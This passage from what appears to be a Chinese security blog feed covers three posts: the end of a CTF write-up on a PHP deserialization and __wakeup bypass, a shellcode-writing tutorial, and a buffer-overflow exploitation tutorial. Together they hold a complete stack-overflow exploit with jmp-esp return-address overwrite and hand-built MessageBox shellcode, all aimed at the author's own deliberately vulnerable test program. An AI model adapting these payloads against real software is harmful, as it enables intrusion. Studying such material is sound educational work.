O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}</span></span><br><span class="line">$b = str_replace(<span class="string">'O:4'</span>, <span class="string">'O:+4'</span>, $b); <span class="comment">//绕过preg_match</span></span><br><span class="line">$b = str_replace(<span class="string">':1:'</span>, <span class="string">':2:'</span>, $b); <span class="comment">//绕过__wakeup</span></span><br><span class="line"><span class="keyword">echo</span> base64_encode(<span class="string">'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}'</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<br />'</span>;</span><br><span class="line"><span class="keyword">echo</span> base64_encode($b);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<hr>"</span>;</span><br><span class="line"><span class="keyword">echo</span> base64_decode(<span class="string">"TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<br />"</span>;</span><br><span class="line"><span class="keyword">echo</span> urlencode(base64_decode(<span class="string">"TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="</span>));</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201022104425304.png" alt="image-20201022104425304"></p><h2 id="总结:"><a href="#总结:" class="headerlink" title="总结:"></a>总结:</h2><ul><li>php 中 <code>4</code> = <code>+4</code> ,可以用来绕过正则匹配</li><li>绕过<code>__wakeup()</code>,这里就可以利用<code>CVE-2016-7124</code>的漏洞:<font color="red">即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过<code>__wakeup</code>的执行</font></li><li>私有属性(<code>private</code>)列化后, 会在属性名前加上类名,类名的左右会加有<code>%00</code></li></ul>]]></content>
<summary type="html"><h2 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span cl</summary>
<category term="网络安全" scheme="https://taonn.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="CTF" scheme="https://taonn.github.io/tags/CTF/"/>
</entry>
<entry>
<title>shellcode编写(三)</title>
<link href="https://taonn.github.io/2020/10/06/shellcode%E7%BC%96%E5%86%99-%E4%B8%89/"/>
<id>https://taonn.github.io/2020/10/06/shellcode%E7%BC%96%E5%86%99-%E4%B8%89/</id>
<published>2020-10-06T00:31:03.000Z</published>
<updated>2021-03-16T05:28:48.611Z</updated>
<content type="html"><![CDATA[<p>切入正题,这次我们进行shellcode编写,只是基础的编写,不会涉及的太复杂,我们这次编写的shellcode就是让程序自动弹出一个对话框,我这里使用的c语言中的<code>MessageBox()</code>这个函数来进行编写。</p><p>我们首先需要做的就是获取调用<code>MessageBox()</code>这个函数的API.所以说,我们就需要获取该函数的地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">void</span> <span class="params">(*MYPROC)</span><span class="params">(LPTSTR)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{ </span><br><span class="line"> HINSTANCE LibHandle;</span><br><span class="line"> MYPROC ProcAdd;</span><br><span class="line"> LibHandle = LoadLibrary(<span class="string">"user32"</span>);</span><br><span class="line"> <span class="comment">//获取user32.dll的地址</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"user32 = 0x%x\n"</span>, LibHandle);</span><br><span class="line"> <span class="comment">//获取MessageBoxA的地址</span></span><br><span class="line"> ProcAdd=(MYPROC)GetProcAddress(LibHandle,<span class="string">"MessageBoxA"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"MessageBoxA = 0x%x\n"</span>, ProcAdd);</span><br><span class="line">getchar();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行结果如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118143415777.png" alt="image-20200118143415777"></p><p><code>MessageBox()</code>函数在我们系统中的地址为<code>0x77d507ea</code> 当然这个地址在不同的系统中,应该是不同的,所以我们在编写ShellCode之前,一定要先查找所要调用的API函数的地址 ,由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">void</span> <span class="params">(*MYPROC)</span><span class="params">(LPTSTR)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{ </span><br><span class="line"> HINSTANCE LibHandle;</span><br><span class="line"> MYPROC ProcAdd;</span><br><span class="line"> LibHandle = LoadLibrary(<span class="string">"kernel32"</span>); <span class="comment">// 这里</span></span><br><span class="line"> <span class="comment">//获取user32.dll的地址</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"kernel32 = 0x%x\n"</span>, LibHandle);</span><br><span class="line"> <span class="comment">//获取MessageBoxA的地址</span></span><br><span class="line"> ProcAdd=(MYPROC)GetProcAddress(LibHandle,<span class="string">"ExitProcess"</span>); <span class="comment">// 这里</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"ExitProcess = 0x%x\n"</span>, ProcAdd);</span><br><span class="line">getchar();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>运行结果如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118143722638.png" alt="image-20200118143722638"></p><p><code>ExitProcess()</code>地址是<code>0x7c81cafa</code></p><p>接下来,我们就开始编写汇编代码。</p><p> 在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了<code>MessageBox()</code>与<code>ExitProcess()</code>函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的 。</p><p>如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个<code>Function(a,b,c)</code>函数,我们想调用它,那么它的汇编代码就应该编写为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">push c</span><br><span class="line">push b</span><br><span class="line">push a</span><br><span class="line">mov eax,Addrssfunction</span><br><span class="line">call eax</span><br></pre></td></tr></table></figure><p>根据这个思想,我们就可以在VC++中利用内联汇编来调用<code> ExitProcess()</code>这个函数:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">xor ebx,ebx # ebx = 0</span><br><span class="line">push ebx</span><br><span class="line">mov eax, 0x7c81cafa</span><br><span class="line">call eax</span><br></pre></td></tr></table></figure><p>接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这时候就要把所需要用到的字符串转换为ASCII码值:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"># 然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(x20)进行填充</span><br><span class="line">warning:</span><br><span class="line">\x57\x61\x72\x6e</span><br><span class="line">\x69\x6e\x67\x20</span><br><span class="line">You have been hacked!(by Taoy):</span><br><span class="line">\x59\x6f\x75\x20</span><br><span class="line">\x68\x61\x76\x65</span><br><span class="line">\x20\x62\x65\x65</span><br><span class="line">\x6e\x20\x68\x61</span><br><span class="line">\x63\x6b\x65\x64</span><br><span class="line">\x21\x28\x62\x79</span><br><span class="line">\x20\x54\x61\x6f</span><br><span class="line">\x79\x29\x20\x20</span><br></pre></td></tr></table></figure><p> 这里之所以需要以x20进行填充,而不是x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到x00就会认为我们的字符串结束了,就不会再拷贝x00后的内容了 </p><p> 由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即Warning的进栈顺序为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">push 0x20676e69</span><br><span class="line">push 0x6e726157 // push "Warning"</span><br></pre></td></tr></table></figure><p>我们如何获取这两个字符串的地址 ? 我们可以利用esp指针,因为esp始终指向栈顶的位置,所以我们将字符压入栈以后,将esp的值赋给别的相应的寄存器即可<code>mov eax,esp</code> 或 <code>mov ebx,esp</code></p><p>如此,我们在进行函数的调用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">push ebx</span><br><span class="line">push eax</span><br><span class="line">push ecx</span><br><span class="line">push ebx</span><br><span class="line">mov eax, 0x77d507ea</span><br><span class="line">call eax // call MessageBox</span><br></pre></td></tr></table></figure><p>我们将代码写入vc6.0++, 完整代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>{</span><br><span class="line">_asm{</span><br><span class="line">sub esp,<span class="number">0x50</span></span><br><span class="line"><span class="keyword">xor</span> ebx,ebx</span><br><span class="line">push ebx <span class="comment">// cut string</span></span><br><span class="line">push <span class="number">0x20676e69</span> </span><br><span class="line">push <span class="number">0x6e726157</span> <span class="comment">// push "Warning"</span></span><br><span class="line">mov eax,esp</span><br><span class="line">push ebx <span class="comment">// cut string </span></span><br><span class="line">push <span class="number">0x20202979</span></span><br><span class="line">push <span class="number">0x6f615420</span></span><br><span class="line">push <span class="number">0x79622821</span></span><br><span class="line">push <span class="number">0x64656b63</span></span><br><span class="line">push <span class="number">0x6168206e</span></span><br><span class="line">push <span class="number">0x65656220</span></span><br><span class="line">push <span class="number">0x65766168</span></span><br><span class="line">push <span class="number">0x20756f59</span> <span class="comment">// push "You have been hacked!(by Taoy)"</span></span><br><span class="line">mov ecx,esp </span><br><span class="line"></span><br><span class="line">push ebx</span><br><span class="line">push eax</span><br><span class="line">push ecx</span><br><span class="line">push ebx</span><br><span class="line">mov eax,<span class="number">0x77d507ea</span></span><br><span class="line">call eax <span class="comment">// call MessageBox</span></span><br><span class="line">push ebx</span><br><span class="line">mov eax, <span class="number">0x7c81cafa</span></span><br><span class="line">call eax <span class="comment">// call ExitProcess</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后我们通过调试来提取shellcode.</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118150649315.png" alt="image-20200118150649315"></p><p>按下<code>F9</code>左侧有个红色的圆圈出现后,然后按<code>F5</code>进入调试,然后<code>alt + 8</code>,显示机器码</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118150848143.png" alt="image-20200118150848143"></p><p>将这个汇编指令转换的机器码提取出来即可,提取完机器码, 完整的shellcode以及程序代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">char name[] =</span><br><span class="line">"\x41\x41\x41\x41\x41\x41\x41\x41" //name[0]~name[7]</span><br><span class="line">"\x42\x42\x42\x42"//EBP</span><br><span class="line">"\x79\x5b\xe3\x77"//ReturnAddress</span><br><span class="line">"\x83\xEC\x50"//subesp,0x50</span><br><span class="line">"\x33\xDB"//xorebx,ebx</span><br><span class="line">"\x53"//pushebx</span><br><span class="line">"\x68\x69\x6E\x67\x20"</span><br><span class="line">"\x68\x57\x61\x72\x6E"//push"Warning"</span><br><span class="line">"\x8B\xC4"//moveax,esp</span><br><span class="line">"\x53"//pushebx</span><br><span class="line">"\x68\x79\x29\x20\x20"</span><br><span class="line">"\x68\x20\x54\x61\x6f"</span><br><span class="line">"\x68\x21\x28\x62\x79"</span><br><span class="line">"\x68\x63\x6B\x65\x64"</span><br><span class="line">"\x68\x6E\x20\x68\x61"</span><br><span class="line">"\x68\x20\x62\x65\x65"</span><br><span class="line">"\x68\x68\x61\x76\x65"</span><br><span class="line">"\x68\x59\x6F\x75\x20"//push"Youhavebeenhacked!(byJ.Y.)"</span><br><span class="line">"\x8B\xCC"//movecx,esp</span><br><span class="line">"\x53"//pushebx</span><br><span class="line">"\x50"//pusheax</span><br><span class="line">"\x51"//pushecx</span><br><span class="line">"\x53"//pushebx</span><br><span class="line">"\xB8\xea\x07\xd5\x77"</span><br><span class="line">"\xFF\xD0"//callMessageBox</span><br><span class="line">"\x53"</span><br><span class="line">"\xB8\xFA\xCA\x81\x7C"</span><br><span class="line">"\xFF\xD0";</span><br></pre></td></tr></table></figure><p>由于我们这里调用了MessageBox,因此需要在源程序中加入LoadLibrary(“user32.dll”);这条语句用于加载相应的动态链接库,而由于使用了<code>LoadLibrary()</code>,还需要加入<code>windows.h</code>这个头文件。</p><p>此时代码为:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> name[] =</span><br><span class="line"><span class="string">"\x41\x41\x41\x41\x41\x41\x41\x41"</span> <span class="comment">//name[0]~name[7]</span></span><br><span class="line"><span class="string">"\x42\x42\x42\x42"</span><span class="comment">//EBP</span></span><br><span class="line"><span class="string">"\x79\x5b\xe3\x77"</span><span class="comment">//ReturnAddress</span></span><br><span class="line"><span class="string">"\x83\xEC\x50"</span><span class="comment">//subesp,0x50</span></span><br><span class="line"><span class="string">"\x33\xDB"</span><span class="comment">//xorebx,ebx</span></span><br><span class="line"><span class="string">"\x53"</span><span class="comment">//pushebx</span></span><br><span class="line"><span class="string">"\x68\x69\x6E\x67\x20"</span></span><br><span class="line"><span class="string">"\x68\x57\x61\x72\x6E"</span><span class="comment">//push"Warning"</span></span><br><span class="line"><span class="string">"\x8B\xC4"</span><span class="comment">//moveax,esp</span></span><br><span class="line"><span class="string">"\x53"</span><span class="comment">//pushebx</span></span><br><span class="line"><span class="string">"\x68\x79\x29\x20\x20"</span></span><br><span class="line"><span class="string">"\x68\x20\x54\x61\x6f"</span></span><br><span class="line"><span class="string">"\x68\x21\x28\x62\x79"</span></span><br><span class="line"><span class="string">"\x68\x63\x6B\x65\x64"</span></span><br><span class="line"><span class="string">"\x68\x6E\x20\x68\x61"</span></span><br><span class="line"><span class="string">"\x68\x20\x62\x65\x65"</span></span><br><span class="line"><span class="string">"\x68\x68\x61\x76\x65"</span></span><br><span class="line"><span class="string">"\x68\x59\x6F\x75\x20"</span><span class="comment">//push"Youhavebeenhacked!(by Taoy)"</span></span><br><span class="line"><span class="string">"\x8B\xCC"</span><span class="comment">//movecx,esp</span></span><br><span class="line"><span class="string">"\x53"</span><span class="comment">//pushebx</span></span><br><span class="line"><span class="string">"\x50"</span><span class="comment">//pusheax</span></span><br><span class="line"><span class="string">"\x51"</span><span class="comment">//pushecx</span></span><br><span class="line"><span class="string">"\x53"</span><span class="comment">//pushebx</span></span><br><span class="line"><span class="string">"\xB8\xea\x07\xd5\x77"</span></span><br><span class="line"><span class="string">"\xFF\xD0"</span><span class="comment">//callMessageBox</span></span><br><span class="line"><span class="string">"\x53"</span></span><br><span class="line"><span class="string">"\xB8\xFA\xCA\x81\x7C"</span></span><br><span class="line"><span class="string">"\xFF\xD0"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">char</span> buffer[<span class="number">8</span>];</span><br><span class="line">LoadLibrary(<span class="string">"user32.dll"</span>); <span class="comment">// 加载 user32.dll 动态链接库</span></span><br><span class="line"><span class="built_in">strcpy</span>(buffer, name);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s\n"</span>,buffer);</span><br><span class="line">getchar();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后运行程序,可以看到我们已经成功利用了漏洞:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118153644848.png" alt="image-20200118153644848"></p><p>我们接下来使用OD调试,一步一步跟进,发现指向完<code>jmp esp</code>,跳转到了我们的shellcode处</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118160152832.png" alt="image-20200118160152832"></p><p>我们继续往下,下图显示的过程就是把<code>MessageBox()</code>函数的参数入栈,然后call 这个函数</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118160255053.png" alt="image-20200118160255053"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118160440020.png" alt="image-20200118160440020"></p><p>最后,我们观察一下数据以及堆栈的情况:</p><p>我们跳转到esp处(在数据区域, <code>ctrl+G</code>, 输入 <code>esp</code>),查看栈区域的数据:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20200118160811255.png" alt="image-20200118160811255"></p><h2 id="参考:"><a href="#参考:" class="headerlink" title="参考:"></a>参考:</h2><ul><li><a href="https://blog.csdn.net/ioio_jy/article/details/48316111">https://blog.csdn.net/ioio_jy/article/details/48316111</a> </li></ul>]]></content>
<summary type="html"><p>切入正题,这次我们进行shellcode编写,只是基础的编写,不会涉及的太复杂,我们这次编写的shellcode就是让程序自动弹出一个对话框,我这里使用的c语言中的<code>MessageBox()</code>这个函数来进行编写。</p>
<p>我们首先需要做的就是获取</summary>
<category term="网络安全" scheme="https://taonn.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="溢出攻击" scheme="https://taonn.github.io/tags/%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/"/>
</entry>
<entry>
<title>缓冲区溢出的利用(二)</title>
<link href="https://taonn.github.io/2020/10/06/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84%E5%88%A9%E7%94%A8-%E4%BA%8C/"/>
<id>https://taonn.github.io/2020/10/06/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84%E5%88%A9%E7%94%A8-%E4%BA%8C/</id>
<published>2020-10-06T00:28:44.000Z</published>
<updated>2021-03-16T05:28:15.096Z</updated>
<content type="html"><![CDATA[<p>我们这次的环境跟上一篇一样,上一篇只是分析了发生的原因,这一篇我们就对产生缓冲区溢出进行利用,还是之前那两个程序<code>test1.exe</code> and <code>test2.exe</code>的基础上进行讲解,所以上一篇一定要理解!!!</p><p>缓冲区溢出程序,<code>test2.exe</code>代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h> </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h> //引入头文件</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> name[] = <span class="string">"betaobetaobetao"</span>; <span class="comment">//定义全局变量,!!! 注意,这里多了两个betao</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> <span class="comment">//返回值 主函数main()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buffer[<span class="number">8</span>]; <span class="comment">//开辟8个字节的空间用来存储变量name</span></span><br><span class="line"> <span class="built_in">strcpy</span>(buffer,name); <span class="comment">//内置函数(作用):将变量name内容赋值给buffer变量</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>,buffer); <span class="comment">//输出</span></span><br><span class="line"> getchar(); <span class="comment">//方便观察 作用:等待用户输入按键</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//返回值</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 这里我们需要分成几个步骤:</p><ul><li><p><strong>1.精确定位返回地址的位置</strong></p></li><li><p><strong>2.寻找覆盖原始返回地址的地址</strong></p></li><li><p><strong>3.编写shellcode到相应的缓冲区</strong>(这一步会涉及很多东西,汇编语言等,所以下一篇说)</p><p>经过上一篇,补充内容中,我们通过程序报错的显示,很快的找到了<code>Address</code>,报错地址是<code>0x006f6174</code>,我们通过把十六进制转换成ASCII码:</p></li></ul><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221102439540.png" alt="image-20191221102439540"></p><pre><code> 这里的`tao`正好是我们输入那一串长字符的最后三个字母,由于地址是4个字节表示,如果我将全局变量`name`赋值为`betaobetaobeXXXX`那么也就是说,四个`X`就是我们覆盖的返回地址,我们上次也说了,`buffer`变量只有8个字节的空间,后面四个字节`aobe`是父函数EBP的地址,到这里,我们也就解决了第一个问题----> **精确定位返回地址的位置**。</code></pre><p> 这里还有一个问题需要说明一下,因为我们这个程序的局部变量<code>buffer</code>只有8个字节,因此很容易就能够被填充满,从而很容易就能够被定位,但是如果缓冲区空间很大,该如何定位呢?总不能还是重复<code>betaobetaobetao...</code>吧,我们这里使用26个大写字符与小写字符,一共52个字符进行测试,一次就可以验证52个字节的缓冲区空间。</p><p> 我们这里修改局部变量数组大小为80,我们加两端英文字符,也就是104个字符。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h> </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h> //引入头文件</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> name[] = <span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"</span>; <span class="comment">//定义全局变量,!!!</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> <span class="comment">//返回值 主函数main()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buffer[<span class="number">80</span>]; <span class="comment">//开辟80个字节的空间用来存储变量name !!!</span></span><br><span class="line"> <span class="built_in">strcpy</span>(buffer,name); <span class="comment">//内置函数(作用):将变量name内容赋值给buffer变量</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>,buffer); <span class="comment">//输出</span></span><br><span class="line"> getchar(); <span class="comment">//方便观察 作用:等待用户输入按键</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//返回值</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 将以上C代码程序编译…,然后运行</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221104145203.png" alt="image-20191221104145203"></p><p> 在Address后可以发现,其值为0x6a696867,注意我们的系统是<strong>小端显示</strong>,也就是说,实际的字符应该是0x67、0x68、0x69、0x6a。那么把它转换成字母,可以知道是g、h、i、j </p><p>通过python转换成ASCII码:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221104444316.png" alt="image-20191221104444316"></p><p>我们来分析一下,为什么是<code>ghij</code>,看下图</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221105144039.png" alt="image-20191221105144039"></p><p>ok,我们回到我们简单的程序</p><p> 经过上面的分析,我们还需要确定<code>betaobetaobeXXXX</code>中的最后四个“X”应该是什么地址。这里我们不能凭空创造一个地址,而是应该基于一个合法地址的基础之上。当然我们通过在OD中的观察,确实能够找到很多合适的地址,但是这种方法不具有通用性,毕竟要找一个确切的地址还是不那么方便的。解决这个问题的方法有很多种,但是最为常用最为经典的,就是<code>jmp esp</code>方法,也就是利用跳板进行跳转。</p><p> 这里的跳板是程序中原有的机器代码,它们都是能够跳转到一个寄存器内所存放的地址进行执行,如<code>jmp esp</code>、<code>call esp</code>、<code>jmp ecx</code>、<code>call eax</code>等等。如果在函数返回的时候,CPU内寄存器刚好直接或者间接指向ShellCode的开头,这样就可以把对栈内存放的返回地址的那一个元素覆盖为相应的跳板地址。</p><p> 我们画图来理解一下,上面的话是什么意思.</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221110334737.png" 